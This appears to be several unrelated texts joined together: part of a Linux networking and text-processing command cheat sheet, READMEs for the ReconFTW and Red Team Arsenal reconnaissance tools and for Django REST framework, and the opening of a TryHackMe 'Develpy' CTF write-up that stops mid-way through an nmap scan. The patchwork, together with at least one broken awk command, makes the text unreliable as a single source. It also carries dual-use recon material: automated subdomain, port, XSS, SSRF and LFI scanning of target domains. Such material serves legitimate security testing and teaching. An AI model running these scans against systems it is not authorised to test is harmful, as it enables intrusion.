* `[hostname|ip]` - set hostname/ip
* `[1-65535]` - set port number
###### Redirecting TCP-traffic to a UNIX domain socket under Linux
```bash
socat TCP-LISTEN:1234,bind=127.0.0.1,reuseaddr,fork,su=nobody,range=127.0.0.0/8 UNIX-CLIENT:/tmp/foo
```
* `TCP-LISTEN:<params>` - set tcp listen with specific params
* `[1-65535]` - set port number
* `bind=[hostname|ip]` - set bind hostname/ip
* `reuseaddr` - allows other sockets to bind to an address
* `fork` - keeps the parent process attempting to produce more connections
* `su=nobody` - set user
* `range=[ip-range]` - ip range
* `UNIX-CLIENT:<params>` - communicates with the specified peer socket
* `filename` - define socket
___
##### Tool: [p0f](http://lcamtuf.coredump.cx/p0f3/)
###### Set iface in promiscuous mode and dump traffic to the log file
```bash
p0f -i enp0s25 -p -d -o /dump/enp0s25.log
```
* `-i` - listen on the specified interface
* `-p` - set interface in promiscuous mode
* `-d` - fork into background
* `-o` - output file
___
##### Tool: [netstat](https://en.wikipedia.org/wiki/Netstat)
###### Graph # of connections for each hosts
```bash
netstat -an | awk '/ESTABLISHED/ { split($5,ip,":"); if (ip[1] !~ /^$/) print ip[1] }' | \
sort | uniq -c | awk '{ printf("%s\t%s\t",$2,$1) ; for (i = 0; i < $1; i++) {printf("*")}; print "" }'
```
###### Monitor open connections for specific port including listen, count and sort it per IP
```bash
watch "netstat -plan | grep :443 | awk {'print \$5'} | cut -d: -f 1 | sort | uniq -c | sort -nk 1"
```
###### Grab banners from local IPv4 listening ports
```bash
netstat -nlt | grep 'tcp ' | grep -Eo "[1-9][0-9]*" | xargs -I {} sh -c "echo "" | nc -v -n -w1 127.0.0.1 {}"
```
___
##### Tool: [rsync](https://en.wikipedia.org/wiki/Rsync)
###### Rsync remote data as root using sudo
```bash
rsync --rsync-path 'sudo rsync' username@hostname:/path/to/dir/ /local/
```
___
##### Tool: [host](https://en.wikipedia.org/wiki/Host_(Unix))
###### Resolves the domain name (using external dns server)
```bash
host google.com 9.9.9.9
```
###### Checks the domain administrator (SOA record)
```bash
host -t soa google.com 9.9.9.9
```
___
##### Tool: [dig](https://en.wikipedia.org/wiki/Dig_(command))
###### Resolves the domain name (short output)
```bash
dig google.com +short
```
###### Lookup NS record for specific domain
```bash
dig @9.9.9.9 google.com NS
```
###### Query only answer section
```bash
dig google.com +nocomments +noquestion +noauthority +noadditional +nostats
```
###### Query ALL DNS Records
```bash
dig google.com ANY +noall +answer
```
###### DNS Reverse Look-up
```bash
dig -x 172.217.16.14 +short
```
___
##### Tool: [certbot](https://certbot.eff.org/)
###### Generate multidomain certificate
```bash
certbot certonly -d example.com -d www.example.com
```
###### Generate wildcard certificate
```bash
certbot certonly --manual --preferred-challenges=dns -d example.com -d *.example.com
```
###### Generate certificate with 4096 bit private key
```bash
certbot certonly -d example.com -d www.example.com --rsa-key-size 4096
```
___
##### Tool: [network-other](https://github.com/trimstray/the-book-of-secret-knowledge#tool-network-other)
###### Get all subnets for specific AS (Autonomous system)
```bash
AS="AS32934"
whois -h whois.radb.net -- "-i origin ${AS}" | \
grep "^route:" | \
cut -d ":" -f2 | \
sed -e 's/^[ \t]//' | \
sort -n -t . -k 1,1 -k 2,2 -k 3,3 -k 4,4 | \
cut -d ":" -f2 | \
sed -e 's/^[ \t]/allow /' | \
sed 's/$/;/' | \
sed 's/allow */subnet -> /g'
```
###### Resolves domain name from dns.google.com with curl and jq
```bash
_dname="google.com" ; curl -s "https://dns.google.com/resolve?name=${_dname}&type=A" | jq .
```
##### Tool: [git](https://git-scm.com/)
###### Log alias for a decent view of your repo
```bash
# 1)
git log --oneline --decorate --graph --all
# 2)
git log --graph \
--pretty=format:'%Cred%h%Creset -%C(yellow)%d%Creset %s %Cgreen(%cr) %C(bold blue)<%an>%Creset' \
--abbrev-commit
```
___
##### Tool: [python](https://www.python.org/)
###### Static HTTP web server
```bash
# Python 3.x
python3 -m http.server 8000 --bind 127.0.0.1
# Python 2.x
python -m SimpleHTTPServer 8000
```
###### Static HTTP web server with SSL support
```bash
# Python 3.x
from http.server import HTTPServer, BaseHTTPRequestHandler
import ssl
httpd = HTTPServer(('localhost', 4443), BaseHTTPRequestHandler)
httpd.socket = ssl.wrap_socket (httpd.socket,
keyfile="path/to/key.pem",
certfile='path/to/cert.pem', server_side=True)
httpd.serve_forever()
# Python 2.x
import BaseHTTPServer, SimpleHTTPServer
import ssl
httpd = BaseHTTPServer.HTTPServer(('localhost', 4443),
SimpleHTTPServer.SimpleHTTPRequestHandler)
httpd.socket = ssl.wrap_socket (httpd.socket,
keyfile="path/tp/key.pem",
certfile='path/to/cert.pem', server_side=True)
httpd.serve_forever()
```
###### Encode base64
```bash
python -m base64 -e <<< "sample string"
```
###### Decode base64
```bash
python -m base64 -d <<< "dGhpcyBpcyBlbmNvZGVkCg=="
```
##### Tool: [awk](http://www.grymoire.com/Unix/Awk.html)
###### Search for matching lines
```bash
# egrep foo
awk '/foo/' filename
```
###### Search non matching lines
```bash
# egrep -v foo
awk '!/foo/' filename
```
###### Print matching lines with numbers
```bash
# egrep -n foo
awk '/foo/{print FNR,$0}' filename
```
###### Print the last column
```bash
awk '{print $NF}' filename
```
###### Find all the lines longer than 80 characters
```bash
awk 'length($0)>80{print FNR,$0}' filename
```
###### Print only lines of less than 80 characters
```bash
awk 'length < 80 filename
```
###### Print double new lines a file
```bash
awk '1; { print "" }' filename
```
###### Print line numbers
```bash
awk '{ print FNR "\t" $0 }' filename
awk '{ printf("%5d : %s\n", NR, $0) }' filename # in a fancy manner
```
###### Print line numbers for only non-blank lines
```bash
awk 'NF { $0=++a " :" $0 }; { print }' filename
```
###### Print the line and the next two (i=5) lines after the line matching regexp
```bash
awk '/foo/{i=5+1;}{if(i){i--; print;}}' filename
```
###### Print the lines starting at the line matching 'server {' until the line matching '}'
```bash
awk '/server {/,/}/' filename
```
###### Print multiple columns with separators
```bash
awk -F' ' '{print "ip:\t" $2 "\n port:\t" $3' filename
```
###### Remove empty lines
```bash
awk 'NF > 0' filename
# alternative:
awk NF filename
```
###### Delete trailing white space (spaces, tabs)
```bash
awk '{sub(/[ \t]*$/, "");print}' filename
```
###### Delete leading white space
```bash
awk '{sub(/^[ \t]+/, ""); print}' filename
```
###### Remove duplicate consecutive lines
```bash
# uniq
awk 'a !~ $0{print}; {a=$0}' filename
```
###### Remove duplicate entries in a file without sorting
```bash
awk '!x[$0]++' filename
```
###### Exclude multiple columns
```bash
awk '{$1=$3=""}1' filename
```
###### Substitute foo for bar on lines matching regexp
```bash
awk '/regexp/{gsub(/foo/, "bar")};{print}' filename
```
###### Add some characters at the beginning of matching lines
```bash
awk '/regexp/{sub(/^/, "++++"); print;next;}{print}' filename
```
###### Get the last hour of Apache logs
```bash
awk '/'$(date -d "1 hours ago" "+%d\\/%b\\/%Y:%H:%M")'/,/'$(date "+%d\\/%b\\/%Y:%H:%M")'/ { print $0 }' \
/var/log/httpd/access_log
```
___
##### Tool: [sed](http://www.grymoire.com/Unix/Sed.html)
###### Print a specific line from a file
```bash
sed -n 10p /path/to/file
```
###### Remove a specific line from a file
```bash
sed -i 10d /path/to/file
# alternative (BSD): sed -i'' 10d /path/to/file
```
###### Remove a range of lines from a file
```bash
sed -i <file> -re '<start>,<end>d'
```
###### Replace newline(s) with a space
```bash
sed ':a;N;$!ba;s/\n/ /g' /path/to/file
# cross-platform compatible syntax:
sed -e ':a' -e 'N' -e '$!ba' -e 's/\n/ /g' /path/to/file
```
- `:a` create a label `a`
- `N` append the next line to the pattern space
- `$!` if not the last line, ba branch (go to) label `a`
- `s` substitute, `/\n/` regex for new line, `/ /` by a space, `/g` global match (as many times as it can)
Alternatives:
```bash
# perl version (sed-like speed):
perl -p -e 's/\n/ /' /path/to/file
# bash version (slow):
while read line ; do printf "%s" "$line " ; done < file
```
###### Delete string +N next lines
```bash
sed '/start/,+4d' /path/to/file
```
___
##### Tool: [grep](http://www.grymoire.com/Unix/Grep.html)
###### Search for a "pattern" inside all files in the current directory
```bash
grep -rn "pattern"
grep -RnisI "pattern" *
fgrep "pattern" * -R
```
###### Show only for multiple patterns
```bash
grep 'INFO*'\''WARN' filename
grep 'INFO\|WARN' filename
grep -e INFO -e WARN filename
grep -E '(INFO|WARN)' filename
egrep "INFO|WARN" filename
```
###### Except multiple patterns
```bash
grep -vE '(error|critical|warning)' filename
```
###### Show data from file without comments
```bash
grep -v ^[[:space:]]*# filename
```
###### Show data from file without comments and new lines
```bash
egrep -v '#|^$' filename
```
###### Show strings with a dash/hyphen
```bash
grep -e -- filename
grep -- -- filename
grep "\-\-" filename
```
###### Remove blank lines from a file and save output to new file
```bash
grep . filename > newfilename
```
##### Tool: [perl](https://www.perl.org/)
###### Search and replace (in place)
```bash
perl -i -pe's/SEARCH/REPLACE/' filename
```
###### Edit of `*.conf` files changing all foo to bar (and backup original)
```bash
perl -p -i.orig -e 's/\bfoo\b/bar/g' *.conf
```
###### Prints the first 20 lines from `*.conf` files
```bash
perl -pe 'exit if $. > 20' *.conf
```
###### Search lines 10 to 20
```bash
perl -ne 'print if 10 .. 20' filename
```
###### Delete first 10 lines (and backup original)
```bash
perl -i.orig -ne 'print unless 1 .. 10' filename
```
###### Delete all but lines between foo and bar (and backup original)
```bash
perl -i.orig -ne 'print unless /^foo$/ .. /^bar$/' filename
```
###### Reduce multiple blank lines to a single line
```bash
perl -p -i -00pe0 filename
```
###### Convert tabs to spaces (1t = 2sp)
```bash
perl -p -i -e 's/\t/ /g' filename
```
###### Read input from a file and report number of lines and characters
```bash
perl -lne '$i++; $in += length($_); END { print "$i lines, $in characters"; }' filename
```
#### Shell functions [<sup>[TOC]</sup>](#anger-table-of-contents)
##### Table of Contents
- [Domain resolve](#domain-resolve)
- [Get ASN](#get-asn)
###### Domain resolve
```bash
# Dependencies:
# - curl
# - jq
function DomainResolve() {
local _host="$1"
local _curl_base="curl --request GET"
local _timeout="15"
_host_ip=$($_curl_base -ks -m "$_timeout" "https://dns.google.com/resolve?name=${_host}&type=A" | \
jq '.Answer[0].data' | tr -d "\"" 2>/dev/null)
if [[ -z "$_host_ip" ]] || [[ "$_host_ip" == "null" ]] ; then
echo -en "Unsuccessful domain name resolution.\\n"
else
echo -en "$_host > $_host_ip\\n"
fi
}
```
Example:
```bash
shell> DomainResolve nmap.org
nmap.org > 45.33.49.119
shell> DomainResolve nmap.org
Unsuccessful domain name resolution.
```
###### Get ASN
```bash
# Dependencies:
# - curl
function GetASN() {
local _ip="$1"
local _curl_base="curl --request GET"
local _timeout="15"
_asn=$($_curl_base -ks -m "$_timeout" "http://ip-api.com/line/${_ip}?fields=as")
_state=$(echo $?)
if [[ -z "$_ip" ]] || [[ "$_ip" == "null" ]] || [[ "$_state" -ne 0 ]]; then
echo -en "Unsuccessful ASN gathering.\\n"
else
echo -en "$_ip > $_asn\\n"
fi
}
```
Example:
```bash
shell> GetASN 1.1.1.1
1.1.1.1 > AS13335 Cloudflare, Inc.
shell> GetASN 0.0.0.0
Unsuccessful ASN gathering.
```
|
<h1 align="center">
<br>
<a href="https://github.com/six2dez/reconftw"><img src="https://github.com/six2dez/reconftw/blob/main/images/banner.png" alt="reconftw"></a>
<br>
ReconFTW
<br>
</h1>
<h4 align="center">A simple bash script for full recon</h4>
<p align="center">
<a href="https://github.com/six2dez/reconftw/releases/tag/v1.0.0">
<img src="https://img.shields.io/badge/release-v1.0.0-green">
</a>
</a>
<a href="https://www.gnu.org/licenses/gpl-3.0.en.html">
<img src="https://img.shields.io/badge/license-GPL3-_red.svg">
</a>
<a href="https://twitter.com/Six2dez1">
<img src="https://img.shields.io/badge/twitter-%40Six2dez1-blue">
</a>
<a href="https://github.com/six2dez/reconftw/issues?q=is%3Aissue+is%3Aclosed">
<img src="https://img.shields.io/github/issues-closed-raw/six2dez/reconftw.svg">
</a>
<a href="https://github.com/six2dez/reconftw/wiki">
<img src="https://img.shields.io/badge/doc-wiki-blue.svg">
</a>
</p>
- [Summary](#summary)
- [Installation Instructions](#installation-instructions)
- [Usage](#usage)
- [Running ReconFTW](#running-reconftw)
- [Sample Video](#sample-video)
- [:fire: Features :fire:](#fire-features-fire)
- [Mindmap/Workflow](#mindmapworkflow)
- [:hourglass: Improvement plan :hourglass:](#hourglass-improvement-plan-hourglass)
- [Thanks](#thanks)
## Summary
ReconFTW is a tool designed to perform automated recon on a target domain by running the best set of tools to perform scanning and finding out vulnerabilities.
## Installation Instructions
- [Installation Guide](https://github.com/six2dez/reconftw/wiki) :book:
- Requires [Golang](https://golang.org/dl/) > 1.14 installed and paths correctly set (**$GOPATH**, **$GOROOT**)
```bash
▶ git clone https://github.com/six2dez/reconftw
▶ cd reconftw
▶ chmod +x *.sh
▶ . ./install.sh
▶ ./reconftw.sh -d target.com -a
```
- It is highly recommended, and in some cases essential, to set your API keys or env variables:
- amass config file (```~/.config/amass/config.ini```)
- subfinder config file (```~/.config/subfinder/config.yaml```)
- GitHub tokens file (```~/Tools/.github_tokens```) Recommended > 5, see how to create [here](https://docs.github.com/en/github/authenticating-to-github/creating-a-personal-access-token)
- favup API (```shodan init <SHODAN-API-KEY>```)
- SSRF Server var (```COLLAB_SERVER``` env var)
- Blind XSS Server var (```XSS_SERVER``` env var)
- Notify config file (```~/.config/notify/notify.conf```)
## Usage
**TARGET OPTIONS**
| Flag | Description |
|------|-------------|
| -d | Target domain *(example.com)* |
| -l | Target list *(one per line)* |
| -x | Exclude subdomains list *(Out Of Scope)* |
**MODE OPTIONS**
| Flag | Description |
|------|-------------|
| -a | Perform full recon |
| -s | Full subdomain scan (Subs, tko and probe) |
| -w | Perform web checks only without subs (-l required) |
| -i | Check whether tools required are present or not |
| -v | Verbose/Debug Mode |
| -h | Show help section |
**GENERAL OPTIONS**
| Flag | Description |
|------|-------------|
| --deep | Deep scan (Enable some slow options for deeper scan) |
| --fs | Full scope (Enable the widest scope * *.domain.* * options) |
| -o | Output directory |
## Running ReconFTW
**To perform a full recon on single target** *(may take a significant time)*
```bash
▶ ./reconftw.sh -d example.com -a
```
**To perfrom a full recon on a list of targets**
```bash
▶ ./reconftw.sh -l sites.txt -a -o /output/directory/
```
**Perform full recon with more intense tasks** *(VPS intended)*
```bash
▶ ./reconftw.sh -d example.com -a --deep -o /output/directory/
```
**Perform a wide scope recon on a target** *(may include false positives)*
```bash
▶ ./reconftw.sh -d example.com -a --fs -o /output/directory/
```
**Check whether all required tools are present or not**
```bash
▶ ./reconftw.sh -i
```
**Show help section**
```bash
▶ ./reconftw.sh -h
```
## Sample video
## :fire: Features :fire:
- Google Dorks ([degoogle_hunter](https://github.com/six2dez/degoogle_hunter))
- Multiple subdomain enumeration techniques (passive, bruteforce, permutations and scraping)
- Passive ([subfinder](https://github.com/projectdiscovery/subfinder), [assetfinder](https://github.com/tomnomnom/assetfinder), [amass](https://github.com/OWASP/Amass), [findomain](https://github.com/Findomain/Findomain), [crobat](https://github.com/cgboal/sonarsearch), [waybackurls](https://github.com/tomnomnom/waybackurls))
- Certificate transparency ([crtfinder](https://github.com/eslam3kl/crtfinder) and [bufferover](tls.bufferover.run))
- Bruteforce ([shuffledns](https://github.com/projectdiscovery/shuffledns))
- Permutations ([dnsgen](https://github.com/ProjectAnte/dnsgen))
- Subdomain JS Scraping ([JSFinder](https://github.com/Threezh1/JSFinder))
- Sub TKO ([subzy](https://github.com/LukaSikic/subzy) and [nuclei](https://github.com/projectdiscovery/nuclei))
- Web Prober ([httpx](https://github.com/projectdiscovery/httpx))
- Web screenshot ([webscreenshot](https://github.com/maaaaz/webscreenshot))
- Template scanner ([nuclei](https://github.com/projectdiscovery/nuclei))
- Port Scanner ([naabu](https://github.com/projectdiscovery/naabu))
- Url extraction ([waybackurls](https://github.com/tomnomnom/waybackurls), [gau](https://github.com/lc/gau), [gospider](https://github.com/jaeles-project/gospider), [github-endpoints](https://gist.github.com/six2dez/d1d516b606557526e9a78d7dd49cacd3))
- Pattern Search ([gf](https://github.com/tomnomnom/waybackurls) and [gf-patterns](https://github.com/1ndianl33t/Gf-Patterns))
- Param discovery ([paramspider](https://github.com/devanshbatham/ParamSpider) and [arjun](https://github.com/s0md3v/Arjun))
- XSS ([XSStrike](https://github.com/s0md3v/XSStrike))
- Open redirect ([Openredirex](https://github.com/devanshbatham/OpenRedireX))
- SSRF ([asyncio_ssrf.py](https://gist.github.com/h4ms1k/adcc340495d418fcd72ec727a116fea2))
- CRLF ([crlfuzz](https://github.com/dwisiswant0/crlfuzz))
- Github ([GitDorker](https://github.com/obheda12/GitDorker))
- Favicon Real IP ([fav-up](https://github.com/pielco11/fav-up))
- Javascript analysis ([LinkFinder](https://github.com/GerbenJavado/LinkFinder), scripts from [JSFScan](https://github.com/KathanP19/JSFScan.sh))
- Fuzzing ([ffuf](https://github.com/ffuf/ffuf))
- Cors ([Corsy](https://github.com/s0md3v/Corsy))
- SSL tests ([testssl](https://github.com/drwetter/testssl.sh))
- Multithread in some steps ([Interlace](https://github.com/codingo/Interlace))
- Custom output folder (default under Recon/target.tld/)
- Run standalone steps (subdomains, subtko, web, gdorks...)
- Polished installer compatible with most distros
- Verbose mode
- Update tools script
- Raspberry Pi support
- Docker support
- CMS Scanner ([CMSeeK](https://github.com/Tuhinshubhra/CMSeeK))
- Out of Scope Support
- LFI Checks
- Notification support for Slack, Discord and Telegram ([notify](https://github.com/projectdiscovery/notify))
## Mindmap/Workflow
## :hourglass: Improvement plan :hourglass:
These are the next features that would come soon, take a look at all our pending [features](https://github.com/six2dez/reconftw/labels/feature) and feel free to contribute:
- [X] Notification support
- [ ] HTML Report
- [ ] In Scope file support
- [ ] ASN/CIDR/Name allowed as target
You can support this work buying me a coffee:
[<img src="https://cdn.buymeacoffee.com/buttons/v2/default-green.png">](https://www.buymeacoffee.com/six2dez)
## Thanks
For their great feedback, support, help or for nothing special but well deserved:
- [@detonXX](https://twitter.com/detonXX)
- [@cyph3r_asr](https://twitter.com/cyph3r_asr)
- [@h4ms1k](https://twitter.com/h4ms1k)
- [@Bileltechno](https://twitter.com/BilelEljaamii)
|
# Red Team Arsenal [](https://twitter.com/intent/tweet?text=Red%20Team%20Arsenal%20(RTA)%20-%20An%20intelligent%20scanner%20to%20detect%20security%20vulnerabilities%20in%20company%27s%20layer%207%20assets&url=https://github.com/flipkart-incubator/RTA&via=a0xnirudh&hashtags=security,infosec,bugbounty)
<p align="center">
<img src="https://raw.githubusercontent.com/flipkart-incubator/RTA/master/rta.svg?sanitize=true" alt="Red Team Arsenal"/>
</p>
[](https://github.com/flipkart-incubator/RTA)
[](https://github.com/flipkart-incubator/RTA)
[](https://github.com/flipkart-incubator/RTA/blob/master/LICENSE)
[](https://github.com/flipkart-incubator/RTA)
**Red Team Arsenal** is a inhouse framework created by flipkart security team which monitors the external attack surface of the company's online assets and provide an **holistic security** view of any security anomalies. It's a closely linked collection of various security engines and tools to conduct/simulate attacks and monitor public facing assets for anomalies and leaks.
It's an intelligent framework that detects security anomalies in all layer 7 assets and reports the same.
As companies continue to expand their footprint on INTERNET via various acquisitions and geographical expansions, human driven security engineering is not scalable, hence, companies need feedback driven automated systems to stay put.
## Installation
### Supported Platforms
RTA has been tested both on **Ubuntu/Debian** (apt-get based distros) distros, it will also work with Mac-OS (but do replace the binaries folder with the binaries of the programs that match with your system architecture if you are running it on Mac OS)
### Prerequisites:
There are a few packages which are necessary before proceeding with the installation:
* Python 3.8, which is installed by default in most systems
* Python pip: `sudo apt-get install python3-pip`
Also, you will need to update the config file and config_mail yml files with the following data
* Google Chat Webhook URL
* SMTP Credentials
* Github Token
* Mailing List
* Custom Search Engine (API Key)
You can install all the requirements by running ``sudo pip3 install -r requirements.txt``
## Usage
Mention the domains you want to monitor inside 'input_files/domains.txt'
```python3 scheduler.py```
### Configuring Google Chat:
You can receive notifications in Google Chat, this can be configured by adding the webhook URL to config.yml file.
## Contributors
- Anirudh Anand ([@a0xnirudh](https://twitter.com/a0xnirudh))
- Mohan KK ([@MohanKallepalli](https://twitter.com/MohanKallepalli))
- Ankur Bhargava ([@_AnkurB](https://twitter.com/_AnkurB))
- Prajal Kulkarni ([@prajalkulkarni](https://twitter.com/prajalkulkarni))
- Himanshu Kumar Das ([@mehimansu](https://twitter.com/mehimansu))
- Mandeep Jadon ([@1337tr0lls](https://twitter.com/1337tr0lls))
- Vivek Srivastav ([@vivek_15887](https://twitter.com/vivek_15887))
- Abhishek S ([@abhiabhi2306](https://twitter.com/abhiabhi2306))
## References
Thanks to the authors of the below creations.
- Amass: https://github.com/owasp-amass/amass
- Aquatone: https://github.com/michenriksen/aquatone
- Assetfinder: https://github.com/tomnomnom/assetfinder
- Chaos-Client: https://github.com/projectdiscovery/chaos-client
- Chrome Driver: https://chromedriver.chromium.org/downloads
- Ffuf: https://github.com/ffuf/ffuf
- Finddomain: https://github.com/Findomain/Findomain
- Gau: https://github.com/lc/gau
- Https: https://github.com/projectdiscovery/httpx
- Naabu: https://github.com/projectdiscovery/naabu
- Nmap: https://nmap.org/
- Subfinder: https://github.com/projectdiscovery/subfinder
- Scweet: https://pypi.org/project/Scweet/
- Cloud Enum: https://github.com/initstring/cloud_enum
- DNStwist: https://github.com/elceef/dnstwist
- Phonebook: https://phonebook.cz/
- SSLyze: https://github.com/nabla-c0d3/sslyze
- Shodan: https://shodan.io
|
# [Django REST framework][docs]
[![build-status-image]][travis]
[![coverage-status-image]][codecov]
[![pypi-version]][pypi]
[](https://gitter.im/tomchristie/django-rest-framework?utm_source=badge&utm_medium=badge&utm_campaign=pr-badge)
**Awesome web-browsable Web APIs.**
Full documentation for the project is available at [http://www.django-rest-framework.org][docs].
---
# Funding
REST framework is a *collaboratively funded project*. If you use
REST framework commercially we strongly encourage you to invest in its
continued development by **[signing up for a paid plan][funding]**.
The initial aim is to provide a single full-time position on REST framework.
*Every single sign-up makes a significant impact towards making that possible.*
<p align="center">
<a href="http://jobs.rover.com/"><img src="https://raw.githubusercontent.com/tomchristie/django-rest-framework/master/docs/img/premium/rover-readme.png"/></a>
<a href="https://getsentry.com/welcome/"><img src="https://raw.githubusercontent.com/tomchristie/django-rest-framework/master/docs/img/premium/sentry-readme.png"/></a>
<a href="https://getstream.io/try-the-api/?utm_source=drf&utm_medium=banner&utm_campaign=drf"><img src="https://raw.githubusercontent.com/tomchristie/django-rest-framework/master/docs/img/premium/stream-readme.png"/></a>
<a href="http://www.machinalis.com/#services"><img src="https://raw.githubusercontent.com/tomchristie/django-rest-framework/master/docs/img/premium/machinalis-readme.png"/></a>
</p>
*Many thanks to all our [wonderful sponsors][sponsors], and in particular to our premium backers, [Rover](http://jobs.rover.com/), [Sentry](https://getsentry.com/welcome/), [Stream](https://getstream.io/?utm_source=drf&utm_medium=banner&utm_campaign=drf), and [Machinalis](http://www.machinalis.com/#services).*
---
# Overview
Django REST framework is a powerful and flexible toolkit for building Web APIs.
Some reasons you might want to use REST framework:
* The [Web browsable API][sandbox] is a huge usability win for your developers.
* [Authentication policies][authentication] including optional packages for [OAuth1a][oauth1-section] and [OAuth2][oauth2-section].
* [Serialization][serializers] that supports both [ORM][modelserializer-section] and [non-ORM][serializer-section] data sources.
* Customizable all the way down - just use [regular function-based views][functionview-section] if you don't need the [more][generic-views] [powerful][viewsets] [features][routers].
* [Extensive documentation][docs], and [great community support][group].
There is a live example API for testing purposes, [available here][sandbox].
**Below**: *Screenshot from the browsable API*
![Screenshot][image]
# Requirements
* Python (2.7, 3.2, 3.3, 3.4, 3.5)
* Django (1.8, 1.9, 1.10)
# Installation
Install using `pip`...
pip install djangorestframework
Add `'rest_framework'` to your `INSTALLED_APPS` setting.
INSTALLED_APPS = (
...
'rest_framework',
)
# Example
Let's take a look at a quick example of using REST framework to build a simple model-backed API for accessing users and groups.
Startup up a new project like so...
pip install django
pip install djangorestframework
django-admin.py startproject example .
./manage.py migrate
./manage.py createsuperuser
Now edit the `example/urls.py` module in your project:
```python
from django.conf.urls import url, include
from django.contrib.auth.models import User
from rest_framework import serializers, viewsets, routers
# Serializers define the API representation.
class UserSerializer(serializers.HyperlinkedModelSerializer):
class Meta:
model = User
fields = ('url', 'username', 'email', 'is_staff')
# ViewSets define the view behavior.
class UserViewSet(viewsets.ModelViewSet):
queryset = User.objects.all()
serializer_class = UserSerializer
# Routers provide a way of automatically determining the URL conf.
router = routers.DefaultRouter()
router.register(r'users', UserViewSet)
# Wire up our API using automatic URL routing.
# Additionally, we include login URLs for the browsable API.
urlpatterns = [
url(r'^', include(router.urls)),
url(r'^api-auth/', include('rest_framework.urls', namespace='rest_framework'))
]
```
We'd also like to configure a couple of settings for our API.
Add the following to your `settings.py` module:
```python
INSTALLED_APPS = (
... # Make sure to include the default installed apps here.
'rest_framework',
)
REST_FRAMEWORK = {
# Use Django's standard `django.contrib.auth` permissions,
# or allow read-only access for unauthenticated users.
'DEFAULT_PERMISSION_CLASSES': [
'rest_framework.permissions.DjangoModelPermissionsOrAnonReadOnly'
]
}
```
That's it, we're done!
./manage.py runserver
You can now open the API in your browser at `http://127.0.0.1:8000/`, and view your new 'users' API. If you use the `Login` control in the top right corner you'll also be able to add, create and delete users from the system.
You can also interact with the API using command line tools such as [`curl`](http://curl.haxx.se/). For example, to list the users endpoint:
$ curl -H 'Accept: application/json; indent=4' -u admin:password http://127.0.0.1:8000/users/
[
{
"url": "http://127.0.0.1:8000/users/1/",
"username": "admin",
"email": "[email protected]",
"is_staff": true,
}
]
Or to create a new user:
$ curl -X POST -d username=new -d [email protected] -d is_staff=false -H 'Accept: application/json; indent=4' -u admin:password http://127.0.0.1:8000/users/
{
"url": "http://127.0.0.1:8000/users/2/",
"username": "new",
"email": "[email protected]",
"is_staff": false,
}
# Documentation & Support
Full documentation for the project is available at [http://www.django-rest-framework.org][docs].
For questions and support, use the [REST framework discussion group][group], or `#restframework` on freenode IRC.
You may also want to [follow the author on Twitter][twitter].
# Security
If you believe you've found something in Django REST framework which has security implications, please **do not raise the issue in a public forum**.
Send a description of the issue via email to [[email protected]][security-mail]. The project maintainers will then work with you to resolve any issues where required, prior to any public disclosure.
[build-status-image]: https://secure.travis-ci.org/tomchristie/django-rest-framework.svg?branch=master
[travis]: http://travis-ci.org/tomchristie/django-rest-framework?branch=master
[coverage-status-image]: https://img.shields.io/codecov/c/github/tomchristie/django-rest-framework/master.svg
[codecov]: http://codecov.io/github/tomchristie/django-rest-framework?branch=master
[pypi-version]: https://img.shields.io/pypi/v/djangorestframework.svg
[pypi]: https://pypi.python.org/pypi/djangorestframework
[twitter]: https://twitter.com/_tomchristie
[group]: https://groups.google.com/forum/?fromgroups#!forum/django-rest-framework
[sandbox]: http://restframework.herokuapp.com/
[funding]: https://fund.django-rest-framework.org/topics/funding/
[sponsors]: https://fund.django-rest-framework.org/topics/funding/#our-sponsors
[oauth1-section]: http://www.django-rest-framework.org/api-guide/authentication/#django-rest-framework-oauth
[oauth2-section]: http://www.django-rest-framework.org/api-guide/authentication/#django-oauth-toolkit
[serializer-section]: http://www.django-rest-framework.org/api-guide/serializers/#serializers
[modelserializer-section]: http://www.django-rest-framework.org/api-guide/serializers/#modelserializer
[functionview-section]: http://www.django-rest-framework.org/api-guide/views/#function-based-views
[generic-views]: http://www.django-rest-framework.org/api-guide/generic-views/
[viewsets]: http://www.django-rest-framework.org/api-guide/viewsets/
[routers]: http://www.django-rest-framework.org/api-guide/routers/
[serializers]: http://www.django-rest-framework.org/api-guide/serializers/
[authentication]: http://www.django-rest-framework.org/api-guide/authentication/
[image]: http://www.django-rest-framework.org/img/quickstart.png
[docs]: http://www.django-rest-framework.org/
[security-mail]: mailto:[email protected]
|
# Develpy
boot2root machine for FIT and bsides Guatemala CTF
[Develpy](https://tryhackme.com/room/bsidesgtdevelpy)
## Topic's
* Network Enumeration
* Code Injection (RCE)
* Exploiting Crontab
## Task 1 Develpy
read user.txt and root.txt
```
kali@kali:~/CTFs/tryhackme/Develpy$ sudo nmap -A -sS -sC -sV -O -p- 10.10.120.12
[sudo] password for kali:
Starting Nmap 7.80 ( https://nmap.org ) at 2020-10-15 20:54 CEST
Nmap scan report for 10.10.120.12
Host is up (0.034s latency).
Not shown: 65533 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 78:c4:40:84:f4:42:13:8e:79:f8:6b:e4:6d:bf:d4:46 (RSA)
| 256 25:9d:f3:29:a2:62:4b:24:f2:83:36:cf:a7:75:bb:66 (ECDSA)
|_ 256 e7:a0:07:b0:b9:cb:74:e9:d6:16:7d:7a:67:fe:c1:1d (ED25519)
10000/tcp open snet-sensor-mgmt?
| fingerprint-strings:
| GenericLines:
| Private 0days
| Please enther number of exploits to send??: Traceback (most recent call last):
| File "./exploit.py", line 6, in <module>
| num_exploits = int(input(' Please enther number of exploits to send??: '))
| File "<string>", line 0
| SyntaxError: unexpected EOF while parsing
| GetRequest:
| Private 0days
| Please enther number of exploits to send??: Traceback (most recent call last):
| File "./exploit.py", line 6, in <module>
| num_exploits = int(input(' Please enther number of exploits to send??: '))
| File "<string>", line 1, in <module>
| NameError: name 'GET' is not defined
| HTTPOptions, RTSPRequest:
| Private 0days
| Please enther number of exploits to send??: Traceback (most recent call last):
| File "./exploit.py", line 6, in <module>
| num_exploits = int(input(' Please enther number of exploits to send??: '))
| File "<string>", line 1, in <module>
| NameError: name 'OPTIONS' is not defined
| NULL:
| Private 0days
|_ Please enther number of exploits to send??:
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port10000-TCP:V=7.80%I=7%D=10/15%Time=5F889B14%P=x86_64-pc-linux-gnu%r(
